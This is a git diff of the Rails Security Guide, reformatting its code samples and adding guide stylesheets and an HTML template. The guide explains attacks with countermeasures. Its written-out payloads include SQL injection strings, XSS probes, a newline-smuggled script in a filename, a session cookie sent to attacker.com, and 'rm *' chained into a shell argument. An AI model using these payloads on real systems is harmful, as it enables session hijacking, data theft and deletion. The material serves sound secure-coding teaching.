[,#fffcdb]#display a generic error message on forgot-password pages, too#. Moreover, you can [,#fffcdb]#require to enter a CAPTCHA after a number of failed logins from a certain IP address#. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack. - === Account hijacking + -- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_ ==== Passwords + Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, [,#fffcdb]#make change-password forms safe against CSRF#, of course. And [,#fffcdb]#require the user to enter the old password when changing it#. ==== E-Mail + However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure [,#fffcdb]#require the user to enter the password when changing the e-mail address, too#. ==== Other + Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[Google Mail]. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, [,#fffcdb]#review your application logic and eliminate all XSS and CSRF vulnerabilities#. === CAPTCHAs + -- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._ But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is http://recaptcha.net/[reCAPTCHA] which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. http://ambethia.com/recaptcha/[ReCAPTCHA] is also a Rails plug-in with the same name as the API. @@ -486,19 +511,21 @@ You can find more sophisticated negative CAPTCHAs in Ned Batchelder's http://ned Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms. === Logging + -- _Tell Rails not to put passwords in the log files._ By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can [,#fffcdb]#filter certain request parameters from your log files# by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log. -........... +[source, ruby] +---------------------------------------------------------------------------- filter_parameter_logging :password -........... - +---------------------------------------------------------------------------- === Good passwords + -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ -Bruce Schneier, a security technologist, http://www.schneier.com/blog/archives/2006/12/realworld_passw.html[has analysed] 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out, that most of the passwords are quite easy to crack. The 20 most common passwords are: +Bruce Schneier, a security technologist, http://www.schneier.com/blog/archives/2006/12/realworld_passw.html[has analysed] 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey. @@ -507,15 +534,17 @@ It is interesting that only 4% of these passwords were dictionary words and the A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the [,#fffcdb]#first letters of a sentence that you can easily remember#. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too. === Regular expressions + -- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ -Ruby uses a slightly different approach to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this: +Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this: -.......... +[source, ruby] +---------------------------------------------------------------------------- class File < ActiveRecord::Base validates_format_of :name, :with => /^[\w\.\-\+]+$/ end -.......... +---------------------------------------------------------------------------- This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, [,#fffcdb]#in Ruby ^ and $ matches the *line* beginning and line end#. And thus a file name like this passes the filter without problems: @@ -525,37 +554,43 @@ file.txt%0A<script>alert('hello')</script> Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: -.......... +[source, ruby] +---------------------------------------------------------------------------- /\A[\w\.\-\+]+\z/ -.......... +[source, ruby] +---------------------------------------------------------------------------- === Privilege escalation + -- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._ The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this: -.......... +[source, ruby] +---------------------------------------------------------------------------- @project = Project.find(params[:id]) -.......... +---------------------------------------------------------------------------- This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, [,#fffcdb]#query the user's access rights, too#: -.......... +[source, ruby] +---------------------------------------------------------------------------- @project = @current_user.projects.find(params[:id]) -.......... +---------------------------------------------------------------------------- Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, [,#fffcdb]#no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated#. Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. [,#fffcdb]#JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values#. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. - == Injection + -- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._ Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection. === Whitelists versus Blacklists --- _When sanitizing, protecting or verifying something, prefer to use whitelists._ + +-- _When sanitizing, protecting or verifying something, whitelists over blacklists._ A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), [,#fffcdb]#prefer to use whitelist approaches#: @@ -568,16 +603,18 @@ A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTM Whitelists are also a good approach against the human factor of forgetting something in the blacklist. - === SQL Injection + -- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._ ==== Introduction + SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query: -.......... +[source, ruby] +---------------------------------------------------------------------------- Project.find(:all, :conditions => "name = '#{params[:name]}'") -.......... +---------------------------------------------------------------------------- This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be: @@ -588,11 +625,13 @@ SELECT * FROM projects WHERE name = '' OR 1 --' The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records. ==== Bypassing authorization + Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. -......... +[source, ruby] +---------------------------------------------------------------------------- User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'") -......... +---------------------------------------------------------------------------- If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be: @@ -603,11 +642,13 @@ SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIM This will simply find the first record in the database, and grants access to this user. ==== Unauthorized reading + The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above: -............ +[source, ruby] +---------------------------------------------------------------------------- Project.find(:all, :conditions => "name = '#{params[:name]}'") -............ +---------------------------------------------------------------------------- And now let's inject another query using the UNION statement: @@ -627,29 +668,34 @@ The result won't be a list of projects (because there is no project with an empt Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/[to at least 2.1.1]. ==== Countermeasures + Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. [,#fffcdb]#Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]#. But in SQL fragments, especially [,#fffcdb]#in conditions fragments (:conditions => "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually#. Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this: -......... +[source, ruby] +---------------------------------------------------------------------------- Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) -......... +---------------------------------------------------------------------------- As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result: -......... +[source, ruby] +---------------------------------------------------------------------------- Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password}) -......... +---------------------------------------------------------------------------- -The array or hash form is only available in model instances. You can try sanitize_sql() elsewhere. [,#fffcdb]#Make it a habit to think about the security consequences when using an external string in SQL#. +The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. [,#fffcdb]#Make it a habit to think about the security consequences when using an external string in SQL#. === Cross-Site Scripting (XSS) + -- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._ ==== Entry points + An entry point is a vulnerable URL and its parameters where an attacker can start an attack. -The most common entry points are message posts, user comments, guest books, but also project titles, document names and search result pages - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the http://livehttpheaders.mozdev.org/[Live HTTP Headers Firefox plugin], or client-site proxies make it easy to change requests. +The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the http://livehttpheaders.mozdev.org/[Live HTTP Headers Firefox plugin], or client-site proxies make it easy to change requests. XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. @@ -658,6 +704,7 @@ During the second half of 2007, there were 88 vulnerabilities reported in Mozill A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/[Trend Micro]. ==== HTML/JavaScript Injection + The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. [,#fffcdb]#Escaping user input is essential#. Here is the most straightforward test to check for XSS: @@ -674,6 +721,7 @@ This JavaScript code will simply display an alert box. The next examples do exac .......... ===== Cookie theft + These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page: .......... @@ -695,6 +743,7 @@ GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 You can mitigate these attacks (in the obvious way) by adding the http://dev.rubyonrails.org/ticket/8895[httpOnly] flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/[will still be visible using Ajax], though. ===== Defacement + With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: .......... @@ -705,7 +754,7 @@ This loads arbitrary HTML and/or JavaScript from an external source and embeds i A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. -Reflected injection attacks are those, where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": +Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": .......... http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> @@ -713,6 +762,7 @@ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode .......... ===== Countermeasures + [,#fffcdb]#It is very important to filter malicious input, but it is also important to escape the output of the web application#. Especially for XSS, it is important to do [,#fffcdb]#whitelist input filtering instead of blacklist#. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete. @@ -735,6 +785,7 @@ This allows only the given tags and does a good job, even against all kinds of t As a second step, [,#fffcdb]#it is good practice to escape all output of the application#, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). [,#fffcdb]#Use escapeHTML() (or its alias h()) method# to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&, ", < and >). However, it can easily happen that the programmer forgets to use it, so [,#fffcdb]#it is recommended to use the http://safe-erb.rubyforge.org/svn/plugins/safe_erb/[SafeErb] plugin#. SafeErb reminds you to escape strings from external sources. ===== Obfuscation and Encoding Injection + Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding: ............ @@ -744,8 +795,8 @@ Network traffic is mostly based on the limited Western alphabet, so new characte This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php[Hackvertor]. Rails‘ sanitize() method does a good job to fend off encoding attacks. - ==== Examples from the underground + -- _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._ The following is an excerpt from the http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1[Js.Yamanner@m] Yahoo! Mail http://groovin.net/stuff/yammer.txt[worm]. It appeared on June 11, 2006 and was the first webmail interface worm: @@ -765,6 +816,7 @@ In December 2006, 34,000 actual user names and passwords were stolen in a http:/ The MySpace Samy worm will be discussed in the CSS Injection section. === CSS Injection + -- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._ CSS Injection is explained best by a well-known worm, the http://namb.la/popular/tech.html[MySpace Samy worm]. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm. @@ -800,9 +852,10 @@ In the end, he got a 4 KB worm, which he injected into his profile page. The http://www.securiteam.com/securitynews/5LP051FHPE.html[moz-binding] CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example). ==== Countermeasures -This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. [,#fffcdb]#If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application#. Use Rails' sanitize() method as a model for a whitelist CSS filter, if you really need one. +This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. [,#fffcdb]#If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application#. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one. === Textile Injection + -- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. http://whytheluckystiff.net/ruby/redcloth/[RedCloth] is such a language for Ruby, but without precautions, it is also vulnerable to XSS._ For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS: @@ -827,24 +880,28 @@ However, this does not filter all HTML, a few tags will be left (by design), for ........... ==== Countermeasures + It is recommended to [,#fffcdb]#use RedCloth in combination with a whitelist input filter#, as described in the countermeasures against XSS. === Ajax Injection + -- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ If you use the http://dev.rubyonrails.org/browser/plugins/in_place_editing[in_place_editor plugin], or actions that return a string, rather than rendering a view, [,#fffcdb]#you have to escape the return value in the action#. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. === RJS Injection + -- _Don't forget to escape in JavaScript (RJS) templates, too._ The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. [,#fffcdb]#If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()#. Otherwise an attacker could execute arbitrary JavaScript. === Command Line Injection + -- _Use user-supplied command line parameters with caution._ If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \`command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|). -A countermeasure is to [,#fffcdb]#use the system(command, parameters) method which passes command line parameters safely#. +A countermeasure is to [,#fffcdb]#use the +system(command, parameters)+ method which passes command line parameters safely#. .......... system("/bin/echo","hello; rm *") diff --git a/railties/doc/guides/source/stylesheets/base.css b/railties/doc/guides/source/stylesheets/base.css new file mode 100644 index 0000000000..76ee6e2ca9 --- /dev/null +++ b/railties/doc/guides/source/stylesheets/base.css @@ -0,0 +1,358 @@ +/* ---------------------------------------------------------------------------- + + Ruby on Rails, hijacked for Hieraki + Stylesheet for http://rubyonrails.org + + 1. General HTML elements + 2. General classes + 3. General structure + 1. header + 2. Content + 3. Sidebar + 4. Sitewide elements + 1. Introduction boxes + 2. Navigation + 5. Elements for specific areas + 1. Weblog + +---------------------------------------------------------------------------- */ + +* { + margin: 0; + padding: 0; +} + +body { + color: #333333; + + background-color: #FFFFFF; + background-image: url(../images/header_backdrop.png); + background-repeat: repeat-x; + background-position: 0 -25px; + + font-size: 80%; + font-family: verdana, helvetica, arial, sans-serif; + line-height: 1.7em; + + /* Center in IE5.5 */ + text-align: center; +} + +h1 { + font-size: 2em; + font-weight: normal; + letter-spacing: -0.04em; +} + +h2 { + font-size: 1.5em; + font-weight: normal; + letter-spacing: -0.04em; +} + +h1,h2,h3,h4,h5,h6 { + margin-top: 1em; + margin-bottom: 0.5em; +} +.pageheader a:link, .pageheader a:visited{ + color: #333; + text-decoration: none; +} + +img { + border: none; +} + +p { + margin-bottom: 1em; +} + +a:link { + color: #BB2233; +} + +a:visited { + color: #991122; +} + +a:hover { + color: #CC2233; + background-color: #EEEEEE; +} + +a:active { +} + +ul { + margin-top: 1em; + list-style-type: none; +} + +ul li { + margin-left: 0.5em; + padding-left: 1em; + + background-image: url(../images/bullet.gif); + background-repeat: no-repeat; + background-position: 0 0.55em; +} + +/* ---------------------------------------------------------------------------- + Structure +---------------------------------------------------------------------------- */ + +div#container { + width: 90%; + max-width: 790px; + + margin-top: 10px; + margin-left: auto; + margin-right: auto; + + font-size: 1em; + + /* Don't center text, only div#container */ + text-align: left; +} + +div#header { + /* This height controls the vertical position of #content and #sidebar */ + height: 160px; + overflow: hidden; +} + +div#header h1 { + height: 30px; + + margin: 0; + margin-top: 10px; + margin-left: 100px; + padding: 0; + font-weight: bold; + font-size: 24pt; +} +div#header p { + height: 30px; + margin: 0; + margin-left: 160px; + padding: 0; + font-weight: bold; + font-size: 14pt; + color: #999; +} +/* +div#logo { + float: left; + width: 110px; + height: 140px; + margin-right: 31px; +} +*/ + + +div#content { + margin-left: 170px; +} + +/* Fix the IE only 3pixel jog - documented at http://www.positioniseverything.net/articles/hollyhack.html#haslayout \*/ +* html #content { + height: 1px; +} +/* End hide from IE5-mac */ + +div#sidebar { + float: left; + width: 170px; + margin-top: -4px; + font-size: 0.8em; +} + +div#sidebar h2 { + margin: 0; + font-size: 1.1em; + font-weight: bold; +} + +div#sidebar ul { + margin-top: 0; + margin-bottom: 1em; + padding: 0; +} + +div#sidebar ol li { + margin: 0 0 2px 0px; + padding: 0; + line-height: 1.3em; + background-image: none; +} + +div#sidebar ol li a { + display: block; + width: 150px; + padding: 0.2em 0; +} + +div#sidebar ul li { + margin-left: 10px; +} + +div#sidebar ol>ol { + padding-left: 5px; + padding-right: 5px; + list-style-type: none; + +} + +div#sidebar ol>ol li a { + display: block; + width: 140px; + padding: 0.2em 0; + margin-left: 10px; + +} + +div#sidebar ol li a:hover { +} + +/* ---------------------------------------------------------------------------- + Specific site-wide elements +---------------------------------------------------------------------------- */ + +/* Introduction boxes */ + +.introduction { + + margin-bottom: 1em; + padding: 1em; + background-color: #D6DFE8; +} + +.introduction p { + margin-bottom: 0; +} + +/* Navigation */ + +ul#navMain { + height: 22px; + margin: 0; + margin-left: 140px; + padding: 16px 0; + + list-style-type: none; +} + +ul#navMain li { + display: inline; + background-image: none; + margin: 0; + padding: 0; +} + +ul#navMain li { + border-left: 1px solid #FFFFFF; +} + +ul#navMain li.first-child { + /* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip + superfluous classes? */ + border-left: none; +} + +ul#navMain li a { + padding: 0.2em 1em; + + color: #FFFFFF; + text-decoration: none; +} + +ul#navMain li.first-child a { + /* Wouldn't it be nice if IE was up-to-date with the rest of the world? */ + padding-left: 0; +} + +ul#navMain li a:hover { + text-decoration: underline; + background-color: transparent; +} + +/* Mark the current page */ +ul#navMain li.current a { + font-weight: bold; +} + + +/* ---------------------------------------------------------------------------- + Elements for specific areas +---------------------------------------------------------------------------- */ + +/* Weblog */ + +.blogEntry { + margin-bottom: 2em; +} + +.blogEntry h2 { + margin-top: 0; + margin-bottom: 0; +} + +p.metaData { + color: #999999; + font-size: 0.9em; +} + + +/* Reference documentation */ + +#reference #sidebar { + display: none; + width: 0; +} + +#reference #content { + margin-left: 0; +} + +#reference #content #api { + width: 100%; + height: 800px; +} + +#reference #logo { + width: 80px; + height: 86px; + + margin-right: 0; +} + +#reference #logo img { + height: 84px; +} + +#reference { + /* The header is smaller on the reference page, move the background up so the menu is in the + proper place still */ + background-position: 0 -70px; +} + +#reference #header { + height: 90px; +} + +#reference #header h1 { + height: 24px; + + margin-top: 2px; + margin-left: 0; + + background-image: none; + + text-indent: 0; + font-size: 1.5em; + font-weight: bold; + +} +#reference #container { + max-width: 100%; +}
\ No newline at end of file diff --git a/railties/doc/guides/source/stylesheets/forms.css b/railties/doc/guides/source/stylesheets/forms.css new file mode 100644 index 0000000000..a3fce205b7 --- /dev/null +++ b/railties/doc/guides/source/stylesheets/forms.css @@ -0,0 +1,35 @@ +label, input { + display: block; + float: left; + margin-bottom: 10px; +} + +label { + text-align: right; + width: 80px; + padding-right: 5px; + font-weight: bold; +} + + +table { + border: 0; +} + +form>h1{ + + padding-bottom: 2px; + border-bottom: 1px solid gray; + margin-bottom: 30px; + +} + +td { + vertical-align: top; +} + +#livepreview { + padding: 5px; + border: 1px solid #ccc; + +}
\ No newline at end of file diff --git a/railties/doc/guides/source/stylesheets/more.css b/railties/doc/guides/source/stylesheets/more.css new file mode 100644 index 0000000000..9446b439d4 --- /dev/null +++ b/railties/doc/guides/source/stylesheets/more.css @@ -0,0 +1,82 @@ +.admin { + display:none; +} + +#navAuthor { + text-align: right; +} + +.bookinfo, .userinfo, pre { + padding: 10px; + background: #eee; + border: 1px solid #ccc; +} + +pre { + overflow: auto; +} + +#content pre, #content ul { + margin-bottom: 10px; +} + +#content ol>ol { + padding-left : 30px; +} + +div#header h1 a{ + color: #333333; + text-decoration: none; +} + +div#header p a{ + text-decoration: none; + color: #999; +} + +.left-floaty { + padding: 3px 15px; + float:left; +} + +.right-floaty { + float:right; + padding: 3px 15px; +} + +.figure { + border: 1px solid black; + line-height: normal; + background: #FFE; + margin: 1em; +} + +.figure .caption { + background: #B00; + color: white; + font-weight: bold; + padding: 4px 24px 4px 8px; + margin-left: -4px; + border: 1px dotted #F77; +} + +.figure .body { + padding: 0.5em; + margin-top: 0.5em; +} + +.figure pre { + padding: 0px; + background: transparent; + border: none; + font-size: small; + font-family: mono; +} + +.figure .lineno { + text-align: right; + color: #B00; + font-family: mono; + font-size: small; + padding-right: 1em; +} diff --git a/railties/doc/guides/source/templates/guides.html.erb b/railties/doc/guides/source/templates/guides.html.erb new file mode 100644 index 0000000000..d69cf5e08a --- /dev/null +++ b/railties/doc/guides/source/templates/guides.html.erb @@ -0,0 +1,97 @@ +<%- + manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html" + show_toc = ENV['MANUALSONRAILS_TOC'] != 'no' +-%> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title><%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %></title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + <%= include_file('inline.css') %> + </style> +</head> +<body> + <div id="header" <% if !show_toc %> class="notoc"<% end %>> + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"<% if !show_toc %> class="notoc"<% end %>> + <% if show_toc %> + <div id="sidebar"> + <h2>Chapters</h2> + <%- if multi_page? -%> + <a href="<%=h chapters.first.basename %>">Preamble</a> + <%- end -%> + <ol> + <%- if multi_page? -%> + <%- for heading in table_of_contents -%> + <li> + <a href="<%=h heading.basename %>"><%= heading.title_without_numbers %></a> + <%- if !heading.children.empty? -%> + <ul> + <% for h in heading.children %> + <li><a href="<%=h h.basename %><%=h h.anchor %>"><%= h.title_without_numbers %></a></li> + <% end %> + </ul> + <%- end -%> + </li> + <%- end -%> + <%- else -%> + <%- for heading in table_of_contents -%> + <li> + <a href="<%=h heading.anchor %>"><%= heading.title_without_numbers %></a> + <%- if !heading.children.empty? -%> + <ul> + <% for h in heading.children %> + <li><a href="<%=h h.anchor %>"><%= h.title_without_numbers %></a></li> + <% end %> + </ul> + <%- end -%> + </li> + <%- end -%> + <%- end -%> + </ol> + </div> + <% end %> + <div id="content"> + <%- if multi_page? && !is_preamble? -%> + <h2 id="<%=h current_chapter.anchor_id %>"><%= current_chapter.title %></h2> + <%- else -%> + <h1><%=h title %></h1> + <%- end -%> + <%= contents %> + <%- if multi_page? -%> + <div id="chapter_navigation"> + <%- if prev_chapter -%> + <div class="left-floaty"> + <a href="<%=h prev_chapter.basename %>">« <%= prev_chapter.title %></a> + </div> + <%- end -%> + <%- if next_chapter -%> + <div class="right-floaty"> + <a href="<%=h next_chapter.basename %>"><%= next_chapter.title %> »</a> + </div> + <%- end -%> + </div> + <%- end -%> + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/source/templates/inline.css b/railties/doc/guides/source/templates/inline.css new file mode 100644 index 0000000000..1b406733de --- /dev/null +++ b/railties/doc/guides/source/templates/inline.css @@ -0,0 +1,165 @@ +div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 